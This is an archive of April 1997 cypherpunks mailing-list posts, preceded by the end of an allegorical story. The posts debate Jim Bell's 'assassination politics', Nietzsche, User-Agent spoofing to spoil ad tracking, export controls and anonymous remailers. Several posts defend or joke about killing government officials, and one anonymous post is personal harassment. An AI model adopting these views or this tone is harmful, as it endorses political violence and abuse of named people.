"Perhaps, the bottom is rising to the top, the top is descending
to the bottom, and everything is becoming the opposite of what
it seems to be."

"Perhaps," the Cowboy continued, as he paced slowly
back and forth, his voice becoming an almost inaudible whisper
which seemed to emanate from in front of those gathered there,
and behind them, and from all sides, "we have all been saved
by a small group of saviors."
He gestured towards Bubba, Priscilla, Alexis and Jonathan, and
then toward D'Shauneaux, who was just joining the gathering, in
the company of Melissa.

"Or perhaps," he said, turning to face the crowd,
one and all, directly, the rough whisper of his voice now carrying
softly upon the gentle wind which was blowing in from the lake,
shrouding them all in a fine, opaque mist, "we were saved
by the GrandMaster whom myth has foretold to be the individual
who would step forward when the time came where the Evil One would
make his bid for control over the souls of all of humankind, across
the face of the earth." 

The Cowboy stepped forth into the gathering, and began pointing
to first one, then another, of those assembled there.

"Perhaps it is you, or you, or the little one..."
, he paused to place his hand upon the head of a small child being
held in her mother's arms, "...who is the GrandMaster.
For legend has it that as long as there is but one free man or
woman on the face of the earth-a single person capable of holding
tight to free and rational thought-that there remains a 'cubic
centimeter of chance' that all of humanity can escape the bondage
of the Dark Forces which strive to imprison us."

The Cowboy continued walking through the throng of people, who
were each sitting quietly, hanging on his every word, and he proceeded,
saying, "Or perhaps it is all but a dream, and we will
awaken in the morning, wondering if it is at all possible that
what we have seen, and experienced, in these last few days, is
real."

The mist arising from the lake had now enshrouded everyone in
a dense fog, leaving each of them alone in his or her private
universe, as the Cowboy's voice rose to a commanding pitch of
certitude.

"Forget not, what you have seen and heard in these few
preceding days. Be not afraid to speak of the things you have
seen and heard, to those who have ears to hear-even though it
will lead to others labeling you a fool, spreading fables for
the dim of wit."
"Pick up the torch which has been passed to you, and hold
it high, though it's burden may cause you to stumble and fall,
and though others around you may give up, in despair. For you
are the Author, the Hacker, and the Fool-and you are the GrandMaster
who stands guard over the souls of all humankind, across the face
of the whole earth, and beyond."

"For as long as their is a spark, there is hope. As long
as their is a myth, then the myth can be made real, through faith,
hope, belief-and action."


The gentle wind from the lake slowly dissipated the misty fog
surrounding those gathered there that day, as they looked at one
another in silence, realizing that the Cowboy was now gone and
they were, once again, on their own.
Bubba Rom Dos IV stepped forward, lifting his glass in toast,
declaring, "Thus ends the Second allegorical meeting of the
nonexistent 'Magical Circle of Eunuchs.'"

He was roundly pelted with a fresh gathering of hastily plucked
wildflowers as he downed his toast to a mythical group which has
never really existed, and possibly never will.

As the group dispersed, amongst hugs and kisses between one and
all, each person stopped by the side of the lake, to gaze at their
own reflection, knowing that the time might someday come when
they were the last free man or woman on the face of the earth.
And each resolved, within himself or herself, that they would
not die, asking plaintively, "Why didn't I do something."


Gomez sat quietly in his study, staring vacantly
into the dark void which stretched interminably before him. Once
again, all of his efforts had come to naught, and all because
of a myth...a myth which had been actualized though becoming
endued with a small spark of hope, faith and belief. A myth which
had created a smouldering ember of expectancy in these infernal
creatures who continued to resist the plans of the Evil One to
subdue them, and hold them in bondage to his Grand Purpose for
all of mankind to serve Him.


Gomez slowly poured himself a shot of 'Bubba Rom
Dos' Private Reserve', noticing, for the first time, the words
in fine print at the bottom of the Logo.

"Mythos is the 'Black Bitch' of
the universe...it's the wildcard in the Game of Life."


Epilogue / "WebWorld & The Mythical
Circle of Eunuchs"








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Sun, 20 Apr 1997 17:52:31 -0700 (PDT)
To: Declan McCullagh <declan@well.com>
Subject: Re: David Friedman and assassination politics
Message-ID: <199704210052.RAA13982@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 14:13 4/20/97 -0700, Declan McCullagh wrote:
>Jim,
>For the record: I doubt everyone agrees with your "libertarianism is
>intertwined with assassination politics" line... I suggest that one can
>believe in minimal government and other libertarian mainstays without
>seeing a need to kill off those whom we dislike, be they IRS agents or
>surly supermarket clerks. 
>-Declan

Sure, they can BELIEVE in those things without seeing the need, etc, but
then again they can believe in the tooth fairy and Santa Claus.  Their
position would be overly optimistic, in my opinion.  

I think a more realistic way to phrase it is this:  "If a society is
sufficiently defective so as to contain those flaws (ones which could have
been corrected using AP), that society will also contain flaws which make it
impossible to be called libertarian."


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Sun, 20 Apr 1997 19:23:01 -0700 (PDT)
To: adam@homeport.org
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <199704202032.PAA05999@homeport.org>
Message-ID: <199704210221.TAA00232@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Shostack writes:
> 
> 	Thats true, but can they avoid it?  I'm considering writing a
> database pollution bot, which runs around, claiming to be Mozilla or
> IE, and randomly following a link once per minute.  Why?  Database
> pollution.  If there are a few thousand of these randomly collecing
> links and creating arbitrary (or perhaps biased) viewing habbits in
> the databases of the advertisers, then their individual data becomes
> worth less.  They'll need to actively solicit peoples permission to
> collect data before doing so, to avoid people polluting their
> databases.

That's an interesting thought.
As it happens last week I added a way in Cookie Jar to allow sending HTTP
User-agent to some sites... the reason is that I ran into a couple that
absolutely have to know what type of browser you are using, and if given no
User-agent deliver either meaningless HTML or nothing at all.
Well Fargo and wIrEd.cOm are the ones I found.

So I added a rule to pass the User-agent line to sites like that.
However I edit out the part that informs the server what OS etc
you are running.  The User-agent is usually something of the form

User-Agent: Mozilla/3.0Gold (X11; U; Linux 6.6.6 i386)

and it's the part in the parens that I really object to, the part
that says what browser you have seems to be what the sites in question
need to deliver useable HTML.

I briefly had it send:

User-Agent: Mozilla/3.0Gold (why; they; fuck do you care)

but now it sends nothing at all in the parens.


In order to maximally fuck up stats, what should be put into
the windowing system/OS fields?  It has to be something that
exists and is fairly common, so that its not able to be thrown out
by the stats-gathers.  I could use "(X11; MVS; IBM MVS some version number)"
but that'd be easy to throw out, even though ports of X to MVS really did
exist.

Maybe I'll just make every copy of Cookie Jar look like
it's running on Linux.


BTW, Wells Fargo's on-line banking sucks dead gerbils through a dirty
garden hose.  The interface is poor, it checks that you're using
SSL not by actually trying it, but by checking the User-agent
field to see if you're using a browser that supports SSL, and
then when I try to transfer money between accounts, it refuses with
no explanation.  A fine example of how NOT to do things.


-- 
   Eric Murray  ericm@lne.com         Privacy through technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sun, 20 Apr 1997 18:11:56 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Nietzsche and Crypto Anarchy (fwd)
Message-ID: <199704210036.TAA00289@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



I forwarded Mr. May's post to a buddy of mine, Ronald Carrier, who is 
getting his Piled Higher and Deeper in Continental Philosophy. I asked 
for comments, and recieved permission to forward his comments to the 
list. Here it is:

Forwarded message:
> From rcarrier@suba.com  Sat Apr 19 18:02:57 1997
> From: "Ronald M. Carrier" <rcarrier@suba.com>
> Good afternoon.
> Thanks for forwarding this to me.  I've taken a look at it, and it seems 
> to me to be a good introductory indication of what Nietzsche was up to.  
> There are just three points on which I'd like to offer a bit of 
> clarification.
> 
> (1) Nietzsche as "anti-systematic" thinker: this is something that is 
> also referred to when Nietzsche is called a "perspectival" thinker.  
> Nietzsche thinks that thinking was an activity that is ultimately in the 
> service of life, where "life" is a process of discovering and developing 
> one's capacities for acting to the fullest.  (And on this understanding 
> of life, thinking would itself be one of these capacities for acting.)  
> For Nietzsche, to develop a system is to develop a perspective, and so to 
> develop a certain way of living.  Indeed, he regards systems primarily as 
> _symptoms_ of various ways of living.
> 
> What he dislikes about systems is that they are perspectives that are, so 
> to speak, monopolistic--they are ways of thinking (and, in the end, ways 
> of living) to which everyone must submit themselves and which deny that 
> there are other ways of thinking and living that may be better suited for 
> someone.  Nietzsche is anti-system in that he thinks that life is best 
> served if one is able to develop in oneself the capacity for multiple 
> perspectives, multiple ways of thinking and living.  Nietzsche himself 
> attempts to do this in his own writing--hence the aphoristic style of 
> which he was fond.  (This is not to say that Nietzsche was not capable of 
> developing a sustained argument--_On_the_Genealogy_of_Morals_ does 
> precisely this.)
> 
> For Nietzsche, thinking best serves life and is symptomatic of life at 
> its best (i.e. a life that is active and deals creatively with the 
> circumstances that chance throws up for it, rather than one that is 
> reactive and tries to minimize the role of chance and change in living) 
> if it is the interplay of as many different perspectives as one can handle.
> 
> (2) Nietzsche and evolution: I think it's good that the author pointed 
> out the connections that can be made between Nietzsche and contemporary 
> evolutionary biology.  Nietzsche did not think much of Darwin, but this 
> is not so much because he disagreed with what Darwin wrote (I'm not sure 
> whether he had read Darwin himself or not) as because he disagreed with 
> what others tended to make of what Darwin wrote (or what they supposed he 
> wrote).  Nietzsche disagrees, not with Darwin's notion of natural 
> selection, but with the popular notion of evolution (a notion which 
> Darwin did not himself employ in his works).
> 
> "Evolution" presupposes that what organisms there are and what they are 
> like is something that is predetermined and that inexorably unfolds 
> across time.  Natural selection, even in Darwin, is incompatible with 
> evolution in this sense because natural selection posits chance and 
> change as both ineliminable and necessary to the process of speciation.  
> And as I pointed out above, Nietzsche thinks that chance and change are 
> ineliminable from life and necessary for the development of life at its 
> best.  "Evolution" also involves the idea that there is some one best way 
> of life that is the unavoidable outcome of evolution, namely whatever way 
> of being human that the "evolutionary" thinker thinks is best.  This is 
> for Nietzsche a reactive way of thinking.
> 
> But while Nietzsche's way of thinking is compatible with contemporary 
> evolutionary biology, I think it's misleading to claim that his 
> understanding of life is "biological."  Nietzsche thinks that biology 
> plays an ineliminable and necessary part in life, but he also thinks that 
> life is more than just a matter of biology.  (Nietzsche was suspicious of 
> science because he thought that it too aspired to be a system in the 
> sense of a monopolistic perspective.  In other words, he disliked scientism.)
> 
> (3) Authoritarian v. libertarian: The author claims that these are 
> contradictory positions in Nietzsche.  I don't think they are.  They 
> would be contradictory if Nietzsche held that everybody was equally 
> capable of attaining to life at its best.  Nietzsche is _very_ clear in 
> his denial of this.  He thinks that reactive thinking and living is 
> typical of the great mass of people and suitable for them.  They are able 
> to live as well as they do precisely because a confinement to one 
> perspective suits them--expose them to the possibility that their 
> perspective is not suitable for all, and they will fall into despair 
> (because from their perspective the way of life they lead must be 
> suitable either for all or for none).
> 
> Only a very few are, in Nietzsche's view, capable of thinking and living 
> actively.  Insofar as the ideal political arrangement would be one that 
> would discover and cultivate these active few and put them in positions 
> where they could do their best, while letting everybody else get along 
> more or less as their reactive lives permit, it would be libertarian for 
> the best and authoritarian for the rest.  To the extent that 
> libertarianism presupposes equality of nature, Nietzsche is not a 
> libertarian; to the extent that authoritarianism is based on a reactive 
> way of life to which both master and slave are beholden, Nietzsche is not 
> an authoritarian.  His politics are, if anything, those of Aristotle in 
> the _Politics_.  (This is not terribly surprising--Nietzsche was a 
> philologist by training and so had a wide familiarity with ancient Greek 
> writings.)
> 
> HTH.
> 
> Later...
> 
> --
>                    Ronald M. Carrier -- rcarrier@suba.com
>                Graduate Student in Philosophy, Northwestern U.
>                   "Philosophy--I'm only in it for the money."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sun, 20 Apr 1997 19:51:20 -0700 (PDT)
To: Jim Bell <jimbell@pacifier.com>
Subject: Re: David Friedman and assassination politics
In-Reply-To: <199704210052.RAA13982@mail.pacifier.com>
Message-ID: <Pine.GSO.3.95.970420194643.28864D-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


I can't believe I'm being sucked into an AP argument with Jim Bell but
here goes...

Bell sees AP as a means to a freer society. But libertarianism is all
about how means (Hillary's health care plan) don't justify the ends
(everyone has health care). AP is not about libertarianism, it is about
anarchism.

And to clear up any possible misunderstanding, I don't think that
D.Friedman mentioned Jim Bell or AP, just some of the underlying concepts
-- that have, after all, been discussed here for years before Bell ever
found this list. *sigh*

-Declan


On Sun, 20 Apr 1997, Jim Bell wrote:

> At 14:13 4/20/97 -0700, Declan McCullagh wrote:
> >Jim,
> >For the record: I doubt everyone agrees with your "libertarianism is
> >intertwined with assassination politics" line... I suggest that one can
> >believe in minimal government and other libertarian mainstays without
> >seeing a need to kill off those whom we dislike, be they IRS agents or
> >surly supermarket clerks. 
> >-Declan
> 
> Sure, they can BELIEVE in those things without seeing the need, etc, but
> then again they can believe in the tooth fairy and Santa Claus.  Their
> position would be overly optimistic, in my opinion.  
> 
> I think a more realistic way to phrase it is this:  "If a society is
> sufficiently defective so as to contain those flaws (ones which could have
> been corrected using AP), that society will also contain flaws which make it
> impossible to be called libertarian."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 20 Apr 1997 16:57:05 -0700 (PDT)
To: 3umoelle@informatik.uni-hamburg.de (Ulf Möller )
Subject: Re: Militarily Critical Technologies
Message-ID: <1.5.4.32.19970420235541.008a3c14@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:37 PM 4/20/97 GMT+0200, you wrote:
>>  Unique Equipment: Computers of 10,000 CTP, or greater,
>
>Pardon my igorance: What is CTP?
>Who is the author of that list?
>

CTP is an acronym for Composite Theoretical Performance, 
a definition of computer capability used in the Export 
Administration Regulations. See EAR Section 740.7 
Computers (CTP) at:

   http://jya.com/740.htm

The US Department of Defense, Office of the Under Secretary 
of Defense for Acquisition and Technology, is the author of 
the Militarily Critical Technologies List (MCTL). See 
attribution at:

   http://jya.com/mctl08.htm

This should not be contrued to mean that I'm not also ignorant
of what I quote and quack about weird lists of holy-shit technology.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rachel Willmer <rachel@intertrader.com>
Date: Sun, 20 Apr 1997 12:34:43 -0700 (PDT)
To: Adam Shostack <stewarts@ix.netcom.com (Bill Stewart)
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <3.0.1.32.19970418230820.006527d8@popd.ix.netcom.com>
Message-ID: <3.0.1.32.19970420202354.006ce42c@194.217.109.226>
MIME-Version: 1.0
Content-Type: text/plain


At 09:34 19/04/97 -0500, Adam Shostack wrote:
>
>	I'm suprosed no one has suggested paying people for
>advertising.  

This is one of the more novel ideas that Digital have come up with for
Millicent. 

In return for allowing the advertiser to download their advert to you, you
get credited with an amount of scrip which is redeemable at their site. 

An interesting concept...

Rachel
Rachel Willmer
<rachel@intertrader.com>
Intertrader Ltd
<http://www.intertrader.com>
4 John's Place                                                       Tel:
+44 131 555 8450
Edinburgh EH6 7EL                                             Fax: +44 131
555 8451          

Authors of "Digital Money Online" (TM)
<http://www.intertrader.com/library/DigitalMoneyOnline/>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 20 Apr 1997 22:39:09 -0700 (PDT)
To: jamesd@echeque.com
Subject: Re: Short AP Rant [POLITICAL NOISE]
In-Reply-To: <199704210227.TAA10829@proxy3.ba.best.com>
Message-ID: <3.0.1.32.19970420212255.00656b50@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:27 AM 4/20/97 +0800, jamesd wrote:
>The election of various unpleasant Islamic Fundamentalist regimes.
>In particular, it seems likely that had the generals not violently 
>overthrown democracy in Algeria, the democratically elected
>representatives of the people would have proceeded to kill off
>everyone they deemed insufficiently Islamic, a very substantial
>minority, a minority which would doubtless have included most of 
>the generals and their families.

The Islamic party didn't start killing off foreigners until the
French and other Westerners supported the generals who overthrew them.
It's funny how a modern liberal democracy like the US will
go to war and kill 6000 people in Panama just because one of their
ex-employees is embarassing them by not leaving the Presidency after
his term is up ("We had to protect democracy"), but when a military
junta takes over from a non-pro-CIA government, they support the military.

>American Civil war.
(We've done that rant here a few times :-)




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sun, 20 Apr 1997 19:35:40 -0700 (PDT)
To: ericm@lne.com (Eric Murray)
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <199704210221.TAA00232@slack.lne.com>
Message-ID: <199704210231.VAA07373@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Eric Murray wrote:


| User-Agent: Mozilla/3.0Gold (X11; U; Linux 6.6.6 i386)

| In order to maximally fuck up stats, what should be put into
| the windowing system/OS fields?  It has to be something that
| exists and is fairly common, so that its not able to be thrown out
| by the stats-gathers.  I could use "(X11; MVS; IBM MVS some version number)"
| but that'd be easy to throw out, even though ports of X to MVS really did
| exist.
|
| Maybe I'll just make every copy of Cookie Jar look like
| it's running on Linux.

	I think you should rotate through a list, in case they're
keeping track of it in conjunction with your other information.  Thus,
have the same cookies comeing from different user agents, say rotate
between Rhapsody on PowerPC and Linux on an Alpha.

	Alternately, have it come from Internet Exploder on various
UNIX boxes.  (Unless thats now generally available.)

Adam


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: FSBO-3.COM@mail1y-int.prodigy.net
Date: Sun, 20 Apr 1997 23:07:09 -0700 (PDT)
To: Friend@public.com
Subject: Days 3 Took It
Message-ID: <199704210605.CAA46704@mail1y-int.prodigy.net>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

                ****** FREE REPORT ******

"I SOLD MY HOUSE IN 3 DAYS WITHOUT A BROKER!"
       (And Saved Over $5,000.00 In Commissions!)

*If You Are Thinking of Selling Your Home, 
Then I Can Help You!*

When I sold my home, I couldn't afford to pay $5,000.00 or
more to a real estate broker.  I set out to sell my home myself
and I did!  Not only did I sell it myself, but I sold it in only
*3 DAYS* and *I GOT THE TOP PRICE!*

Realtors will tell you that you cannot get the exposure they
can in selling your home.  DON'T BELIEVE THEM!  You can
get even greater exposure doing a few simple things.

AND THINK WHAT YOU CAN DO WITH THE
COMMISSIONS YOU SAVE!

It's really quite simple once you know what to do.  I explain
exactly what to do  >EXACTLY WHAT I DID< To sell a
house quickly, at the Best Price, on your own.

Read what a few people wrote after reading my program:

     "After reading your book, I decided to sell my home myself.
       I never dreamt it could be so easy!"   - J. Dell, Akron, OH

     "I can't wait to take a vacation with the $8,000.00 I'll save in
       commissions."   - Linda Harris,  Lawndale, CA


                    >> YOU HAVE NOTHING TO LOSE <<
                           >> EVERYTHING TO GAIN! <<

************************
To get your **FREE** REPORT:
************************

3 Easy Steps:

1)  Send a Self Addressed Stamped #10 Envelope with 55 cents postage to:
     Dept S2
     1920 N. Lake Ave., #108-208
     Altadena, CA  91101-3059

2) Enclose your name, address, phone number on a 3 x 5 card

3) Enclose two $1.00 bills







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Sun, 20 Apr 1997 15:08:07 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Militarily Critical Technologies
In-Reply-To: <1.5.4.32.19970420013646.008a731c@pop.pipeline.com>
Message-ID: <m0wJ3Mg-0003b9C@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain


>  Unique Equipment: Computers of 10,000 CTP, or greater,

Pardon my igorance: What is CTP?
Who is the author of that list?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Sun, 20 Apr 1997 23:07:51 -0700 (PDT)
To: Declan McCullagh <declan@well.com>
Subject: Re: David Friedman and assassination politics
Message-ID: <199704210607.XAA11316@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 19:51 4/20/97 -0700, Declan McCullagh wrote:
>Bell sees AP as a means to a freer society. But libertarianism is all
>about how means (Hillary's health care plan) don't justify the ends
>(everyone has health care). AP is not about libertarianism, it is about
>anarchism.

I disagree with the implications of that last sentence.

For as long as I can recall, there has been an ongoing debate in libertarian
circles between "minarchists" (those that believe in a minimal government)
and "anarchists" (those who believe in no government.)  I was once a
"minarchist," simply because I couldn't figure out a logical way to totally
obsolete government functions.  Then, I did, so I became an anarchist.  It
sounds like you are still a minarchist.  

Now, I could just say, "go ahead, be that way", but the thing to acknowledge
is that there is, at least, a DEBATE on this issue.  I didn't deny it back
when I was a minarchist; I don't deny it today, as an anarchist.  Neither
should you.

AP is, implicitly I believe, an anarchy-producing system.  That is (or at
least, may be) a libertarian position, particularly for an
anarchist-libertarian.   _Minarchists_ may be bothered by it, but that
doesn't (necessarily) make it non-libertarian.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Sun, 20 Apr 1997 20:13:21 -0700 (PDT)
To: cypherpunks@algebra.com
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <199704210221.TAA00232@slack.lne.com>
Message-ID: <0nKhgr200YUf0PCEk0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


Eric Murray <ericm@lne.com> writes:
> Maybe I'll just make every copy of Cookie Jar look like
> it's running on Linux.

On an i386. Fight bloatware, influence markets, win friends!

Jer

(No PGP sig `cuase I'm running an unencrypted connection)
(Yeah, I store my private key on a multi-user machine, so sue me.)

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sun, 20 Apr 1997 23:38:44 -0700 (PDT)
To: Declan McCullagh <declan@well.com>
Subject: Re: David Friedman and assassination politics
In-Reply-To: <199704202015.NAA01741@mail.pacifier.com>
Message-ID: <v0300780eaf80b192073d@[207.94.249.153]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:13 PM -0700 4/20/97, Declan McCullagh wrote:
>For the record: I doubt everyone agrees with your "libertarianism is
>intertwined with assassination politics" line... I suggest that one can
>believe in minimal government and other libertarian mainstays without
>seeing a need to kill off those whom we dislike, be they IRS agents or
>surly supermarket clerks.

I thought I'd pass on this quote:

"Four more jeeks run up to join them.  Y.T. counts two more revolvers and a
pump shotgun.  Any more of these guys and they'll be able to form a
government."

  - Snow Crash p84, Neal Stephenson

I have always thought that what the newspapers call "anarchy" is not the
absence of government, but rather the presence of too many competing
governments.

I prefer nonviolent solutions myself.


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz@netcom.com | not have an installed base.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 20 Apr 1997 20:35:27 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Nietzsche and Crypto Anarchy (fwd)
Message-ID: <199704210335.XAA09255@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
> > From: "Ronald M. Carrier" <rcarrier@suba.com>

> >  Nietzsche is anti-system in that he thinks that life is best
> > served if one is able to develop in oneself the capacity for multiple
> > perspectives, multiple ways of thinking and living.  Nietzsche himself
> > attempts to do this in his own writing--hence the aphoristic style of
> > which he was fond.

  Of course, if Nietzsche posted his multiple perspectives to
the CypherPunks list anonymously he would probably be castigated
for being too cowardly to maintain a consistent list persona, and
thus contributing nothing of value to the list.

TruthNietzsche





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frisbee@nni.com (Adam Tuliper)
Date: Sun, 20 Apr 1997 21:13:36 -0700 (PDT)
To: "'cypherpunks@toad.com>
Subject: crypt(3) questions
Message-ID: <01BC4DE9.1F7AEE00@ascend571.nni.com>
MIME-Version: 1.0
Content-Type: text/plain


I believe that the crypt(3) function for unix password encryption is called a one-way function.. in that it is not reversible.
Why is this? IE what makes it one way..
              Adam







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 21 Apr 1997 00:22:45 -0700 (PDT)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Short AP Rant [POLITICAL NOISE]
In-Reply-To: <3.0.1.32.19970420212255.00656b50@popd.ix.netcom.com>
Message-ID: <335B1377.49DF@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart wrote:
> It's funny how a modern liberal democracy like the US will
> go to war and kill 6000 people in Panama just because one of their
> ex-employees is embarassing them by not leaving the Presidency after
> his term is up ("We had to protect democracy"), but when a military
> junta takes over from a non-pro-CIA government, they support the military.

  Democracy is where 51% of the people can murder the other
49% of the people--legally.
  [fade to close-ups of people being dragged screaming to their death]
  [pan to politican]
  "I don't know where these people get off, complaining like that. They 
had their chance at the polls.
  "Hey, it's not perfect, but it's the best system we've got."

  Of course, even in a democracy, 10% of the people can murder the
other 90% of the people, if there is some pressing need, such as
protecting them from drug dealers and pornographers.
  [fade to trains (running on time) with cattle-cars filled with people]
  [pan to Commander in Chief]
  "Look, the people spoke when they elected the people who put in
place the Secret Emergency Powers Act, and appointed the members of
the Double-Secret Regulatory Commission.
  "They can hardly complain about those they have given Executive 
Powers exercising that power, now, can they? Especially when it is
in their own long-term interest?
  "Hey, it's not perfect, but it's the best system we've got."

  Myself, I'm partial to the Smith&Wesson 'Democracy' model, which
can be purchased as the 'AP Home Democracy Kit', complete with a
"One Bullet--One Vote" bumper-sticker.

  ----- Government Escrowed Key -----
  WeVegoTyoUrnAMEaNdweKNoWWheREyouLIveaNDyoURPHonE#AnD
  WHeReyOUvEbeeNANdthenaMEOFyOUrdoGAnDWhaTYoureaDAndwH
  aTYouwRIteandIFYOUFUCKWITHUSYOU'RETOASTanDMaYBeEVenI
  FyOUdON't
  ----- End of Rights & Freedoms -----

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 21 Apr 1997 00:47:44 -0700 (PDT)
To: Declan McCullagh <declan@well.com>
Subject: Re: David Friedman and assassination politics
In-Reply-To: <199704202015.NAA01741@mail.pacifier.com>
Message-ID: <335B19A3.6E0B@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


At 2:13 PM -0700 4/20/97, Declan McCullagh wrote:
 >I suggest that one can
 >believe in minimal government and other libertarian mainstays without
 >seeing a need to kill off those whom we dislike, be they IRS agents or
 >surly supermarket clerks.

  You can, but it takes most of the fun out of it.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 21 Apr 1997 04:27:11 -0700 (PDT)
To: cypherpunks@toad.com
Subject: [ADMINISTRATIVIUM] Accounts payable
Message-ID: <199704211127.EAA29286@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May is a licenced sexual pervert who wears women's 
underwear.

 .   ___ o Timmy May
 ^z\/o\ o
 ^z/\_~_/
 '   '





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 21 Apr 1997 06:50:49 -0700 (PDT)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199704211350.GAA12897@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
